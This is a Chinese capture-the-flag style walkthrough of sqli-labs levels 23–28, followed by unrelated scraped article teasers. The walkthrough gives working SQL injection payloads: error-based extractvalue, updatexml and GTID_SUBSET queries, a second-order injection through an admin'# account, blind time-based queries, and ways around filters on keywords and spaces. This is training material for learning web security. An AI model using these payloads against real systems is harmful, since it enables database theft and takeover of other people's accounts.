SQL注入【sqli靶场第23-28关】(七)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

1、Less-23

GET - Error based - strip comments

1.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’,响 应长度有变化

在这里插入图片描述

1.2、报错函数

在测试过程中发现union 联合查询的方式一直报错,尝试报错函数成功爆出。

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,根据报错函数获取到数据库名,登录名。

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 输出内容
XPATH syntax error: '~security~'# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 输出内容
XPATH syntax error: '~root@localhost~'

2、Less-24

POST-Second order lnjections Real treat - stored lnjections

二次注入,先注册一个账号带有注释功能的,然后登录,再修改密码

2.1、注册带注释功能的账号

账号:admin'#
密码:123456

2.2、用新账号登录

用新账号登录成功
在这里插入图片描述

2.3、修改密码

修改目标密码为123,用账号:admin,密码:123登录验证是否成功。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

3、Less-25

GET - Error based - All your OR & AND belong to us -string single quote

3.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

3.2、报错函数

在测试过程中发现union 联合查询的方式没有达到预期值,尝试报错函数成功爆出。

报错函数extractvalue(),updatexml()没有达到预期值,GTID_SUBSET()成功爆出。

# 输入内容
'-GTID_SUBSET(database(),1)-'# 输出内容
Malformed GTID set specification 'security'.# 输入内容
'-GTID_SUBSET(user(),1)-'# 输出内容
Malformed GTID set specification 'root@localhost'.

在这里插入图片描述

4、Less-25a

GET - Blind Based - All your OR & AND belong to us- lntiger based

4.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响应长度有变化
在这里插入图片描述

4.2、借用BP爆破数据库

过滤 or and 关键字 采用重复的方式处理

oorr --> or
anandd --> and

4.2.1、使用时间盲注验证
# 输入内容
+anandd+if(1=1,sleep(1),sleep(5))--+

在这里插入图片描述

4.2.2、爆破数据库长度
# 输入内容
+anandd+if(length(database())=5,1,0)--+

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Cluster bomb,参数设置看截图说明。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.2.3、爆破数据库名
# 输入内容
+anandd+if(substr(database(),1,1)='a',1,0)--+

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
在这里插入图片描述

5、Less-26

GET - Error based - All your SPACEs and COMMENTS belong to us

参考博客:https://blog.csdn.net/m0_71299382/article/details/127944148

5.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

5.2、关联查询

回显位在第2位

# 输入内容-数据库名
0'%0bunion%0bselect%0b1,database(),3||'1'='1# 输入内容-登录名
0'%0bunion%0bselect%0b1,user(),3||'1'='1

在这里插入图片描述

6、Less-27

GET - Error Based-All your UNION & SELECT Belong to us - String - single quote

参考:https://blog.csdn.net/qq_73393033/article/details/132106554

6.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

6.2、报错函数

%26是&的URL编码

# 输入内容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1# 输出内容
XPATH syntax error: '~security~root@localhost'# 输入内容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1# 输出内容
XPATH syntax error: '~security~'

在这里插入图片描述

7、Less-28

GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis

参考:https://blog.csdn.net/m0_57736664/article/details/128553406

7.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

7.2、确定回显字段

看源码参数闭合是'),尝试验证是不是4个字段,没有回显,修改为了3时回显了,因此可确定是3个字段

# 输入内容
')order%0Aby%0A4;%00# 页面没有预期回显数据# 修改为3
')order%0Aby%0A3;%00

在这里插入图片描述

7.3、关联查询

回显位在第2位

# 输入内容-数据库
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1# 输入内容-登录名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1

在这里插入图片描述

8、下期内容预告

截止到目前SQL注入的内容已经分享了7篇,后面会有一篇关于ByPass(绕过)和总结的内容。敬请关注我的公众号:大象只为你,持续更新中…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/455684.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linq中string转int的方法

Linq中string转int的方法 在做批量删除时,需把一串id值所对应的数据删除,调试出现问题: Linq语句中如果使用ToString()进行类型转换,编译时不会报错,但执行时会出现如下错误: “LINQ to Entities 不识别方法"System.String T…

名称缩写第二波

1 公司内部 缩写 全称 中文 说明 PMproduct manager产品经理RDResearch and Development研发工程师FEFrontend Engineer前端工程师UEUser Experience用户体验设计师QAquality assurance质量保证,测试OP operator 运维工程师EEEngeering Excellence工程效率部ETEn…

php动态获取函数参数

PHP 在用户自定义函数中支持可变数量的参数列表。其实很简单,只需使用func_num_args() , func_get_arg() ,和 func_get_args() 函数即可。可变参数并不需要特别的语法,参数列表仍按函数定义的方式传递给函数,并按通常…

漏桶算法与令牌桶算法

漏桶算法(Leaky Bucket)是网络世界中流量整形(Traffic Shaping)或速率限制(Rate Limiting)时经常使用的一种算法,它的主要目的是控制数据注入到网络的速率,平滑网络上的突发流量。漏桶算法提供了一种机制&a…

java linux 调用32位so_Linux上TCP的几个内核参数调优

Linux作为一个强大的操作系统,提供了一系列内核参数供我们进行调优。光TCP的调优参数就有50多个。在和线上问题斗智斗勇的过程中,笔者积累了一些在内网环境应该进行调优的参数。在此分享出来,希望对大家有所帮助。调优清单好了,在…

jquery中的选择器

jquery选择器 jquery用法思想 选择某个网页元素,然后对它进行某种操作 jquery选择器 jquery选择器可以快速地选择元素,选择规则和css样式相同 基础选择器 //通过id来获取元素 document.getElementById(); // $(#logo).css(border,solid 2px red); //…

【好文收藏】【持续更新】今天你机器学习了吗

✔数学建模常用模型23:马尔可夫预测方法_HaLosec_Wei-CSDN博客_马尔可夫模型预测法 ✔simhash算法及原理简介_lengye7的博客-CSDN博客_simhash ✔👍使用机器学习构建简单金融风控反欺诈模型(一)EDAXGBOOST - 知乎 Python机器学…

H.264码率控制机制

H.264标准码率控制算法步骤如下:1.计算当前帧的目标码字,并将其限定到HRD的边界中。2.通过线性模型(式4.5)预测当前帧中基本单元的MAD。 3.为未编码基本单元分配码字。4.通过二次R&a…

[dp]最长单调递增子序列LIS

https://www.51nod.com/tutorial/course.html#!courseId12 解题关键: 如果将子序列按照长度由短到长排列,将他们的最大元素放在一起,形成新序列$B\left\{ {{b_1},{b_2}, \ldots \ldots ,{b_j}} \right\}$,则序列$B$满足${b_1} &l…

jQuery中的元素操作

jQuery元素操作 通过jQuery可以操作控制元素的样式,文本,属性等 jquery样式操作 css操作行内样式 // 获取div的样式 $("div").css("width"); $("div").css("color");//设置div的样式 $("div").css("width",&q…

指针结构体函数-事实上能够这样具体理解

今天一大早登了下QQ空间,看到本科的一个学弟发表一篇日志。写关于西电微软俱乐部面试题的解答,写的非常不 错。我也一下子起兴了,由于我以前也是被指针困惑非常久。搞不清头绪,本科到研究生。我也笔试面试不下二十次 了。每次面试…

【python毕业设计】Django框架实现学生信息管理系统

Django框架实现学生信息管理系统 演示视频:Django学生信息管理系统_腾讯视频 演示界面内容如下 总体概括 注册流程 首先进行输入用户名(邮箱)、密码以及验证码,输入完之后点击注册按钮。如果输入的不正确,提示错误信…

python中continue只结束本次循环_循环(while,break,continue),转义字符

Apple iPhone 11 (A2223) 128GB 黑色 移动联通电信4G手机 双卡双待 4999元包邮 去购买 >01. 程序的三大流程 在程序开发中,一共有三种流程方式: 顺序 —— 从上向下,顺序执行代码 分支 —— 根据条件判断,决定执行代码的 分支 …

码率控制技术原理

引起编码器的输出比特码率波动的原因主要有两个。首先,数字视频信号中包含了大量的时域和空域冗余,编码器的主要任务就是去除这些冗余。由于时间冗余和空间冗余是随机的,从而造成编码器输出比特率波动。另一个原因是变长编码,变长…

python如何安装pip

pip的安装操作 pip简介 pip 是一个现代的,通用的 Python 包管理工具。提供了对Python 包的查找、下载、安装、卸载的功能。 环境搭建 安装pip首先要安装python,可以参考python安装教程 安装完python后,可以在cmd中输入pip list 测试一下pip是否默认附带着安装,若…

【排序算法】python 十大经典排序算法(全网最详)

排序算法可以分为内部排序和外部排序,内部排序是数据记录在内存中进行排序,而外部排序是因排序的数据很大,一次不能容纳全部的排序记录,在排序过程中需要访问外存。常见的内部排序算法有:插入排序、希尔排序、选择排序…

最新海康摄像机、NVR、流媒体服务器、回放取流RTSP地址规则说明

本文档主要介绍海康威视设备预览、回放、流媒体取流的RTSP URL和IE直接预览、回放的HTTP URL。RTSP为取流协议,取到码流后需要解码显示,可以通过VLC播放器进行测试,IE等浏览器网页不支持RTSP协议直接取流预览或者回放。网页上需要跳过登录界面…

pug模板引擎(原jade)

前面的话 为什么要引入pug,pug有什么特别之处呢?有一些嵌套层次较深的页面,可能会出现巢状嵌套,如下图所示 在后期维护和修改时,一不小心少了一个尖括号,或者某个标签的开始和闭合没有对应上,就…

python安装环境傻瓜式安装_前后端分离——前端开发环境傻瓜式一步到位 nodejs ruby python nginx 安装搭建配置...

前端开发环境一步到位 一、准备工作 nodejs安装 安装:next->next.... Ruby安装 安装:next->next.... 需要配置到path:将安装目录复制到环境变量中,跟jdk环境变量配置一样。 注意下一步:Python安装 安装&#xff…

【Python】Python学到什么程度可以面试工作?------持续更新 ...

前言: 从事python学习,有爬虫、web后台、深度学习相关经验, 坐标北京欢迎骚扰。 本答案力求简洁和直击重点,代码部分使用Python3,更详细的解释请Google,回答有误请务必提醒答主,我将及时改正。…